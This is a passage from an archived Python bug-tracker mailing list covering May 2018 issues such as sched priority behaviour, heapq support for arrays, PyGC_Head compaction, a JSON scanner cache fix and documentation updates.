19:04:38 +0000 Subject: [issue33573] statistics.median does not work with ordinal scale In-Reply-To: <1526671785.76.0.682650639539.issue33573@psf.upfronthosting.co.za> Message-ID: <1526929478.76.0.682650639539.issue33573@psf.upfronthosting.co.za> W deW added the comment: Changing the documentation in tis way seems to me an excellent and easy way to solve the issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 16:05:10 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 21 May 2018 20:05:10 +0000 Subject: [issue33589] Remove dummy member in GCHead In-Reply-To: <1526862205.85.0.682650639539.issue33589@psf.upfronthosting.co.za> Message-ID: <1526933110.41.0.682650639539.issue33589@psf.upfronthosting.co.za> Change by Gregory P. Smith : ---------- nosy: +twouters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 17:08:54 2018 From: report at bugs.python.org (sahilmn) Date: Mon, 21 May 2018 21:08:54 +0000 Subject: [issue33590] sched.enter priority has no impact on execution In-Reply-To: <1526890488.51.0.682650639539.issue33590@psf.upfronthosting.co.za> Message-ID: sahilmn added the comment: The task schedule is executed when `s.run()` is called. There should be a *delay = 5* from the time the scheduling statement is executed. If your claim is true, the priority argument is useless since it has no impact on the execution order when `delay` values are equal. Clearly, this is not the case since the example for `enter` at https://docs.python.org/3/library/sched.html aims to demonstrate the use of `priority` argument. On Mon, May 21, 2018 at 4:14 AM, Ronald Oussoren wrote: > > Ronald Oussoren added the comment: > > I don't think there's a bug here: sched.enter schedules an event some > time after the current time. The two calls to sched.enter are not at the > same time, hence the priority is not used because the events are scheduled > at different times. > > ---------- > nosy: +ronaldoussoren > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 17:11:04 2018 From: report at bugs.python.org (Diego Argueta) Date: Mon, 21 May 2018 21:11:04 +0000 Subject: [issue33593] Support heapq on typed arrays? Message-ID: <1526937064.06.0.682650639539.issue33593@psf.upfronthosting.co.za> New submission from Diego Argueta : It'd be really great if we could have support for using the `heapq` module on typed arrays from `array`. For example: ``` import array import heapq import random a = array.array('I', (random.randrange(10) for _ in range(10))) heapq.heapify(a) ``` Right now this code throws a TypeError: TypeError: heap argument must be a list I suppose I could use `bisect` to insert items one by one but I imagine a single call to heapify() would be more efficient, especially if I'm loading the array from a byte string. >From what I can tell the problem lies in the C implementation, since removing the _heapq imports at the end of the heapq module (in 3.6) makes it work. ---------- components: Library (Lib) messages: 317250 nosy: da priority: normal severity: normal status: open title: Support heapq on typed arrays? type: enhancement versions: Python 2.7, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 17:22:19 2018 From: report at bugs.python.org (R. David Murray) Date: Mon, 21 May 2018 21:22:19 +0000 Subject: [issue33590] sched.enter priority has no impact on execution In-Reply-To: <1526881413.19.0.682650639539.issue33590@psf.upfronthosting.co.za> Message-ID: <1526937739.8.0.682650639539.issue33590@psf.upfronthosting.co.za> R. David Murray added the comment: I think Ronald is correct. The priority argument for enter would apply if you called enter twice with two different delays, but they happen to end up pointing to the same moment in time from the scheduler's point of view. How would the computer know that two calls to enter with the same delay are supposed to point to the same moment in time? But you are correct, it looks like the example would make more sense if it used enterabs, not enter. You can test our theory by writing time and delay functions with a course enough resolution that two sequential calls to delay will end up pointing to the time time unit. (Or we could look at the code :) ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 17:33:39 2018 From: report at bugs.python.org (Josh Rosenberg) Date: Mon, 21 May 2018 21:33:39 +0000 Subject: [issue33361] readline() + seek() on codecs.EncodedFile breaks next readline() In-Reply-To: <1524704763.78.0.682650639539.issue33361@psf.upfronthosting.co.za> Message-ID: <1526938419.85.0.682650639539.issue33361@psf.upfronthosting.co.za> Change by Josh Rosenberg : ---------- title: readline() + seek() on io.EncodedFile breaks next readline() -> readline() + seek() on codecs.EncodedFile breaks next readline() _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 17:34:32 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Mon, 21 May 2018 21:34:32 +0000 Subject: [issue33594] add deprecation since 3.5 for a few methods of inspect. Message-ID: <1526938472.55.0.682650639539.issue33594@psf.upfronthosting.co.za> New submission from Matthias Bussonnier : inspect's getargspec, as well as Signature's from_function, and from_builtin are deprecated. They all emits DeprecationWarning but: The deprecation warning does not say since which version since are deprecated. For the two Signature's methods, there is no documentation available, so finding this information is difficult. Many tool rely on introspection to provide object help via docstring, which also did not include this deprecation notice. Adding the deprecation informations to these 3 function/methods would be good to foster migration to newer ways. ---------- assignee: docs at python components: Documentation messages: 317252 nosy: docs at python, mbussonn priority: normal severity: normal status: open title: add deprecation since 3.5 for a few methods of inspect. versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 17:37:06 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Mon, 21 May 2018 21:37:06 +0000 Subject: [issue33594] add deprecation since 3.5 for a few methods of inspect. In-Reply-To: <1526938472.55.0.682650639539.issue33594@psf.upfronthosting.co.za> Message-ID: <1526938626.73.0.682650639539.issue33594@psf.upfronthosting.co.za> Change by Matthias Bussonnier : ---------- keywords: +patch pull_requests: +6680 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 17:43:01 2018 From: report at bugs.python.org (Vitaly Murashev) Date: Mon, 21 May 2018 21:43:01 +0000 Subject: [issue18307] Relative path in co_filename for zipped modules In-Reply-To: <1372256829.94.0.0966099631525.issue18307@psf.upfronthosting.co.za> Message-ID: <1526938981.44.0.682650639539.issue18307@psf.upfronthosting.co.za> Vitaly Murashev added the comment: Guys, a couple questions ... I want to suggest new patches for python3.7 and python2.7 with regression tests included What is proper way to do it now, in year 2018 ? May I do it on github.com ? Should I submit new issue for that there ? Or am I still supposed to attach new patches here - on bugs.python.org ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 18:02:49 2018 From: report at bugs.python.org (Jason Fried) Date: Mon, 21 May 2018 22:02:49 +0000 Subject: [issue33523] loop.run_until_complete re-entrancy to support more complicated codebases in transition to asyncio In-Reply-To: <1526401266.56.0.682650639539.issue33523@psf.upfronthosting.co.za> Message-ID: <1526940169.23.0.682650639539.issue33523@psf.upfronthosting.co.za> Jason Fried added the comment: For loops not supporting this throwing NotImplmentedError from the method to enable reentrancy seems appropriate. "You should convert all your stack to async functions..." That may not be practical for large code bases in transition to asyncio. The fixes for reentrancy that I find in reality are not adding async logic through out the call stack but instead its one of the two I listed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 18:17:20 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Mon, 21 May 2018 22:17:20 +0000 Subject: [issue32092] mock.patch with autospec does not consume self / cls argument In-Reply-To: <1511193021.31.0.213398074469.issue32092@psf.upfronthosting.co.za> Message-ID: <1526941040.06.0.682650639539.issue32092@psf.upfronthosting.co.za> Change by Cheryl Sabella : ---------- nosy: +michael.foord versions: -Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 18:45:53 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Mon, 21 May 2018 22:45:53 +0000 Subject: [issue33595] FIx references to lambda "arguments" Message-ID: <1526942753.14.0.682650639539.issue33595@psf.upfronthosting.co.za> New submission from Andr?s Delfino : There a couple of references to lambda parameters mentioned as arguments. I'm proposing fixing them. ---------- assignee: docs at python components: Documentation messages: 317255 nosy: adelfino, docs at python priority: normal severity: normal status: open title: FIx references to lambda "arguments" type: enhancement versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 18:49:07 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Mon, 21 May 2018 22:49:07 +0000 Subject: [issue33595] FIx references to lambda "arguments" In-Reply-To: <1526942753.14.0.682650639539.issue33595@psf.upfronthosting.co.za> Message-ID: <1526942947.02.0.682650639539.issue33595@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- keywords: +patch pull_requests: +6681 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 19:36:31 2018 From: report at bugs.python.org (Eric Snow) Date: Mon, 21 May 2018 23:36:31 +0000 Subject: [issue33470] Changes from GH-1638 (GH-3575, bpo-28411) are not documented in Porting to Python 3.7 In-Reply-To: <1526114406.62.0.682650639539.issue33470@psf.upfronthosting.co.za> Message-ID: <1526945791.42.0.682650639539.issue33470@psf.upfronthosting.co.za> Eric Snow added the comment: Under Py_LIMITED_API: typedef struct _is PyInterpreterState; Also, the actual removal of the "modules" field was reverted. The field is still there until I get back to fixing https://github.com/python/cpython/pull/3606. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 21 22:18:49 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 22 May 2018 02:18:49 +0000 Subject: [issue33583] PyObject_GC_Resize() doesn't relink GCHead In-Reply-To: <1526802151.18.0.682650639539.issue33583@psf.upfronthosting.co.za> Message-ID: <1526955529.41.0.682650639539.issue33583@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 0c1e7d8122808d42f9fdb7019061dc2e78a78efa by Miss Islington (bot) in branch '3.6': bpo-33583: Add note in PyObject_GC_Resize() doc (GH-7021) https://github.com/python/cpython/commit/0c1e7d8122808d42f9fdb7019061dc2e78a78efa ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 01:33:08 2018 From: report at bugs.python.org (INADA Naoki) Date: Tue, 22 May 2018 05:33:08 +0000 Subject: [issue33583] PyObject_GC_Resize() doesn't relink GCHead In-Reply-To: <1526802151.18.0.682650639539.issue33583@psf.upfronthosting.co.za> Message-ID: <1526967188.42.0.682650639539.issue33583@psf.upfronthosting.co.za> Change by INADA Naoki : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 01:33:39 2018 From: report at bugs.python.org (INADA Naoki) Date: Tue, 22 May 2018 05:33:39 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1526967219.15.0.682650639539.issue33565@psf.upfronthosting.co.za> Change by INADA Naoki : ---------- nosy: +inada.naoki _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 01:51:10 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 05:51:10 +0000 Subject: [issue18307] Relative path in co_filename for zipped modules In-Reply-To: <1372256829.94.0.0966099631525.issue18307@psf.upfronthosting.co.za> Message-ID: <1526968270.1.0.682650639539.issue18307@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: In year 2018 you have to create a pull request on GitHub. See https://devguide.python.org/. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 01:57:34 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Tue, 22 May 2018 05:57:34 +0000 Subject: [issue33316] Windows: PyThread_release_lock always fails In-Reply-To: <1524183536.18.0.682650639539.issue33316@psf.upfronthosting.co.za> Message-ID: <1526968654.6.0.682650639539.issue33316@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: > So, nothing more to do here. In case that was cryptic, it means: the PR can be acted upon, no other changes are needed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 02:00:08 2018 From: report at bugs.python.org (Julien Palard) Date: Tue, 22 May 2018 06:00:08 +0000 Subject: [issue33595] FIx references to lambda "arguments" In-Reply-To: <1526942753.14.0.682650639539.issue33595@psf.upfronthosting.co.za> Message-ID: <1526968808.36.0.682650639539.issue33595@psf.upfronthosting.co.za> Change by Julien Palard : ---------- stage: patch review -> backport needed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 02:00:37 2018 From: report at bugs.python.org (Ronald Oussoren) Date: Tue, 22 May 2018 06:00:37 +0000 Subject: [issue33590] sched.enter priority has no impact on execution In-Reply-To: <1526881413.19.0.682650639539.issue33590@psf.upfronthosting.co.za> Message-ID: <1526968837.47.0.682650639539.issue33590@psf.upfronthosting.co.za> Ronald Oussoren added the comment: I did look at the code :-) The enter() method just calls enterabs() with an absolute time calculated from the current time (using the timefunc for the scheduler) and the passed relative time. Two calls of enter() with the same relative time will therefore use different absolute times unless you're using custom time function with a lower resolution. Prorities are only used when who events are scheduled for the same absolute time, which is easy to arrange for using enterabs() but less so using enter() but still can happen when using calculated timeout values. I don't agree about the example in the documentation, it is a clear demonstration about how to use the API in general and AFAIK is not intended to show how priorities work. ---------- resolution: -> not a bug status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 02:55:34 2018 From: report at bugs.python.org (yzongyue) Date: Tue, 22 May 2018 06:55:34 +0000 Subject: [issue33596] fix memory leak in lib/json/scanner.py py_make_scanner Message-ID: <1526972134.7.0.682650639539.issue33596@psf.upfronthosting.co.za> New submission from yzongyue : in function py_make_scanner, the last return statements is "return _scan_once" it should be "return scan_once", or the memo never clear. in fact, make_scanner use c_make_scanner rather than py_make_scanner, so this bug never occur in default ---------- components: Library (Lib) files: ??_2018-05-22_14-53-27.png messages: 317261 nosy: yzongyue priority: normal severity: normal status: open title: fix memory leak in lib/json/scanner.py py_make_scanner versions: Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8 Added file: https://bugs.python.org/file47610/??_2018-05-22_14-53-27.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 03:06:22 2018 From: report at bugs.python.org (INADA Naoki) Date: Tue, 22 May 2018 07:06:22 +0000 Subject: [issue33597] Compact PyGC_Head Message-ID: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> New submission from INADA Naoki : Currently, PyGC_Head takes three words; gc_prev, gc_next, and gc_refcnt. gc_refcnt is used when collecting, for trial deletion. gc_prev is used for tracking and untracking. So if we can avoid tracking/untracking while trial deletion, gc_prev and gc_refcnt can share same memory space. This idea reduces PyGC_Head size to two words. ---------- components: Interpreter Core messages: 317262 nosy: inada.naoki, pitrou priority: normal severity: normal status: open title: Compact PyGC_Head type: resource usage versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 03:07:23 2018 From: report at bugs.python.org (INADA Naoki) Date: Tue, 22 May 2018 07:07:23 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1526972843.85.0.682650639539.issue33597@psf.upfronthosting.co.za> Change by INADA Naoki : ---------- keywords: +patch pull_requests: +6682 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 03:07:35 2018 From: report at bugs.python.org (yzongyue) Date: Tue, 22 May 2018 07:07:35 +0000 Subject: [issue33596] fix memory leak in lib/json/scanner.py py_make_scanner In-Reply-To: <1526972134.7.0.682650639539.issue33596@psf.upfronthosting.co.za> Message-ID: <1526972855.17.0.682650639539.issue33596@psf.upfronthosting.co.za> Change by yzongyue : ---------- keywords: +patch pull_requests: +6683 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 04:02:53 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 08:02:53 +0000 Subject: [issue5945] PyMapping_Check returns 1 for lists In-Reply-To: <1241560036.33.0.817766851688.issue5945@psf.upfronthosting.co.za> Message-ID: <1526976173.74.0.682650639539.issue5945@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset f5b1183610d5888db3bbd639b1a0c945dbd8f8dd by Serhiy Storchaka in branch 'master': bpo-5945: Improve mappings and sequences C API docs. (GH-7029) https://github.com/python/cpython/commit/f5b1183610d5888db3bbd639b1a0c945dbd8f8dd ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 04:02:55 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 22 May 2018 08:02:55 +0000 Subject: [issue5945] PyMapping_Check returns 1 for lists In-Reply-To: <1241560036.33.0.817766851688.issue5945@psf.upfronthosting.co.za> Message-ID: <1526976175.08.0.682650639539.issue5945@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6684 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 04:23:23 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 22 May 2018 08:23:23 +0000 Subject: [issue5945] PyMapping_Check returns 1 for lists In-Reply-To: <1241560036.33.0.817766851688.issue5945@psf.upfronthosting.co.za> Message-ID: <1526977403.05.0.682650639539.issue5945@psf.upfronthosting.co.za> miss-islington added the comment: New changeset e1a78cacf65f007b1000966ce3aac6ac2eaa5cfc by Miss Islington (bot) in branch '3.7': bpo-5945: Improve mappings and sequences C API docs. (GH-7029) https://github.com/python/cpython/commit/e1a78cacf65f007b1000966ce3aac6ac2eaa5cfc ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 05:33:46 2018 From: report at bugs.python.org (Alex Walters) Date: Tue, 22 May 2018 09:33:46 +0000 Subject: [issue33598] ActiveState Recipes links in docs, and the apparent closure of Recipes Message-ID: <1526981626.86.0.682650639539.issue33598@psf.upfronthosting.co.za> New submission from Alex Walters : ActiveState has stopped accepting new recipes on their website, and migrated all current recipes to a Github repo. I have seen no official announcement of a shutdown date for the code.activestate.com website, but it's future has to be in question considering the migration. I propose we go through the docs for all the recipes, and either rescue them to a section of the docs (perhaps to a new "Code Examples" section), incorporate the recipes into the doc pages where appropriate, or excise them entirely. Another option would be to update the links to the GitHub repo, but I am less enthusiastic about that option - GitHub repos come and go, and mutate structure easily. I don't think it would be a good idea to deep link into a repository not controlled by the Python project. It would stink to have a bunch of suddenly dead links in the docs. ---------- assignee: docs at python components: Documentation messages: 317265 nosy: docs at python, rhettinger, tritium priority: normal severity: normal status: open title: ActiveState Recipes links in docs, and the apparent closure of Recipes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 05:56:10 2018 From: report at bugs.python.org (Sascha) Date: Tue, 22 May 2018 09:56:10 +0000 Subject: [issue33599] Copying objects subclassed from SimpleNamespace doesn't work Message-ID: <1526982970.55.0.682650639539.issue33599@psf.upfronthosting.co.za> New submission from Sascha : Try from types import SimpleNamespace import copy class Person(SimpleNamespace): def __init__(self, name, **kwargs): self.name = name super().__init__(**kwargs) bob = Person('Bob', job='tester') clone = copy.copy(bob) For me this results in TypeError: __init__() missing 1 required positional argument: 'name' ---------- components: Library (Lib) messages: 317266 nosy: stereobutter priority: normal severity: normal status: open title: Copying objects subclassed from SimpleNamespace doesn't work type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 06:08:53 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 10:08:53 +0000 Subject: [issue30877] possibe typo in json/scanner.py In-Reply-To: <1499496488.53.0.464628157168.issue30877@psf.upfronthosting.co.za> Message-ID: <1526983733.48.0.682650639539.issue30877@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6685 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 06:11:22 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 10:11:22 +0000 Subject: [issue30877] possibe typo in json/scanner.py In-Reply-To: <1499496488.53.0.464628157168.issue30877@psf.upfronthosting.co.za> Message-ID: <1526983882.83.0.682650639539.issue30877@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Sorry for not fixing this issue earlier. The fix is trivial, but it needed tests. PR 7048 adds a simpler test. ---------- versions: +Python 3.8 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 06:14:12 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 10:14:12 +0000 Subject: [issue33596] fix memory leak in lib/json/scanner.py py_make_scanner In-Reply-To: <1526972134.7.0.682650639539.issue33596@psf.upfronthosting.co.za> Message-ID: <1526984052.57.0.682650639539.issue33596@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Thank you for your report and pull request, but it is a duplicate of issue30877. This bug was not fixed before because we wanted a test. ---------- nosy: +serhiy.storchaka resolution: -> fixed stage: patch review -> resolved status: open -> closed superseder: -> possibe typo in json/scanner.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 06:20:33 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 10:20:33 +0000 Subject: [issue33599] Copying objects subclassed from SimpleNamespace doesn't work In-Reply-To: <1526982970.55.0.682650639539.issue33599@psf.upfronthosting.co.za> Message-ID: <1526984433.45.0.682650639539.issue33599@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Right, this is because your subclass is not completely compatible with SimpleNamespace. The SimpleNamespace constructor accepts only keyword arguments, but your class requires a positional argument. You have to implement the __copy__ method for supporting shallow copying and the __deepcopy__ method for supporting deep copying. Or the __reduce__ method for supporting both shallow and deep copying and pickling. ---------- nosy: +serhiy.storchaka resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 06:27:22 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 10:27:22 +0000 Subject: [issue5945] PyMapping_Check returns 1 for lists In-Reply-To: <1241560036.33.0.817766851688.issue5945@psf.upfronthosting.co.za> Message-ID: <1526984842.79.0.682650639539.issue5945@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6686 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 06:32:31 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 10:32:31 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1526985151.66.0.682650639539.issue33597@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 07:54:16 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 11:54:16 +0000 Subject: [issue5945] PyMapping_Check returns 1 for lists In-Reply-To: <1241560036.33.0.817766851688.issue5945@psf.upfronthosting.co.za> Message-ID: <1526990056.5.0.682650639539.issue5945@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 93e9fb5664e56c02c9aa89098b556929735b35db by Serhiy Storchaka in branch '3.6': [3.6] bpo-5945: Improve mappings and sequences C API docs. (GH-7029). (GH-7049) https://github.com/python/cpython/commit/93e9fb5664e56c02c9aa89098b556929735b35db ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 07:56:25 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 22 May 2018 11:56:25 +0000 Subject: [issue30877] possibe typo in json/scanner.py In-Reply-To: <1499496488.53.0.464628157168.issue30877@psf.upfronthosting.co.za> Message-ID: <1526990185.47.0.682650639539.issue30877@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6687 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 07:57:17 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 22 May 2018 11:57:17 +0000 Subject: [issue30877] possibe typo in json/scanner.py In-Reply-To: <1499496488.53.0.464628157168.issue30877@psf.upfronthosting.co.za> Message-ID: <1526990237.46.0.682650639539.issue30877@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6688 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 07:59:13 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Tue, 22 May 2018 11:59:13 +0000 Subject: [issue33580] Make binary/text file glossary entries follow most common "see also" style In-Reply-To: <1526760789.23.0.682650639539.issue33580@psf.upfronthosting.co.za> Message-ID: <1526990353.02.0.682650639539.issue33580@psf.upfronthosting.co.za> Andr?s Delfino added the comment: This one can be closed, right? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 08:03:13 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 12:03:13 +0000 Subject: [issue33580] Make binary/text file glossary entries follow most common "see also" style In-Reply-To: <1526760789.23.0.682650639539.issue33580@psf.upfronthosting.co.za> Message-ID: <1526990593.33.0.682650639539.issue33580@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 08:26:35 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 12:26:35 +0000 Subject: [issue33531] test_asyncio: test_subprocess test_stdin_broken_pipe() failure on Travis CI In-Reply-To: <1526452192.92.0.682650639539.issue33531@psf.upfronthosting.co.za> Message-ID: <1526991995.6.0.682650639539.issue33531@psf.upfronthosting.co.za> STINNER Victor added the comment: > Fixed failed sendfile tests on Windows (at least I hope so). I guess that Andrew means the following fix: commit e2537521916c5bf88fcf54d4654ff1bcd332be4a Author: Andrew Svetlov Date: Mon May 21 12:03:45 2018 +0300 Fix asyncio flaky tests (#7023) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 09:02:13 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 13:02:13 +0000 Subject: [issue29640] _PyThreadState_Init and fork race leads to inconsistent key list In-Reply-To: <1487927038.37.0.851881550844.issue29640@psf.upfronthosting.co.za> Message-ID: <1526994133.56.0.682650639539.issue29640@psf.upfronthosting.co.za> STINNER Victor added the comment: > the old TLS API is only available if PTHREAD_KEY_T_IS_COMPATIBLE_WITH_INT. PTHREAD_KEY_T_IS_COMPATIBLE_WITH_INT is defined on most (pthread) platforms, no? I understood that the PEP 539 is mostly designed for Cygwin, a platform which is not officially supported by Python. At least, PTHREAD_KEY_T_IS_COMPATIBLE_WITH_INT is set to 1 on my Fedora 27 (Linux). I propose to cast pthread_key_create() result to int, but only define PyThread_create_key() in Python/thread_pthread.h if PTHREAD_KEY_T_IS_COMPATIBLE_WITH_INT is defined. It means that the pthread implementation of Python would still have this bug (race condition) if PTHREAD_KEY_T_IS_COMPATIBLE_WITH_INT is not defined. But backporting the PEP 539 to Python 2.7 doesn't seem worth it. What do you think? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 09:03:20 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 22 May 2018 13:03:20 +0000 Subject: [issue30877] possibe typo in json/scanner.py In-Reply-To: <1499496488.53.0.464628157168.issue30877@psf.upfronthosting.co.za> Message-ID: <1526994200.83.0.682650639539.issue30877@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 25fd6cc5b0ad311bb771ae47ae8173417730bb6a by Miss Islington (bot) in branch '3.7': bpo-30877: Fix clearing a cache in the the JSON decoder. (GH-7048) https://github.com/python/cpython/commit/25fd6cc5b0ad311bb771ae47ae8173417730bb6a ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 09:05:21 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 13:05:21 +0000 Subject: [issue33600] [EASY DOC] Python 2: document that platform.linux_distribution() has been removed Message-ID: <1526994321.44.0.682650639539.issue33600@psf.upfronthosting.co.za> New submission from STINNER Victor : The platform.linux_distribution() function has been removed from the future Python 3.8. The removal should be documented in Python 2.7 documentation, and mention the alternative. Python 2 documenation: https://docs.python.org/2/library/platform.html#platform.linux_distribution Python 3 documentation with the deprecation warning: https://docs.python.org/3/library/platform.html#platform.linux_distribution IMHO it's too late to deprecate the function from Python 2. We should only add a quick note. Function removed in: bpo-28167. ---------- assignee: docs at python components: Documentation messages: 317275 nosy: docs at python, vstinner priority: normal severity: normal status: open title: [EASY DOC] Python 2: document that platform.linux_distribution() has been removed versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 09:06:10 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 13:06:10 +0000 Subject: [issue33600] [EASY DOC] Python 2: document that platform.linux_distribution() has been removed In-Reply-To: <1526994321.44.0.682650639539.issue33600@psf.upfronthosting.co.za> Message-ID: <1526994370.77.0.682650639539.issue33600@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- keywords: +easy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 09:18:02 2018 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 22 May 2018 13:18:02 +0000 Subject: [issue29640] _PyThreadState_Init and fork race leads to inconsistent key list In-Reply-To: <1487927038.37.0.851881550844.issue29640@psf.upfronthosting.co.za> Message-ID: <1526995082.84.0.682650639539.issue29640@psf.upfronthosting.co.za> Petr Viktorin added the comment: > PTHREAD_KEY_T_IS_COMPATIBLE_WITH_INT is defined on most (pthread) platforms, no? > I propose to cast pthread_key_create() result to int, but only define PyThread_create_key() in Python/thread_pthread.h if PTHREAD_KEY_T_IS_COMPATIBLE_WITH_INT is defined. I don't think that's a good idea. Changing API, even for platforms that aren't officially supported, sounds very harsh this late in the release cycle. But! I suppose we could fix the bug only for platforms with PTHREAD_KEY_T_IS_COMPATIBLE_WITH_INT. Other platforms would keep the current implementation -- they'd still have the bug, but the API would stay unchanged. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 09:26:52 2018 From: report at bugs.python.org 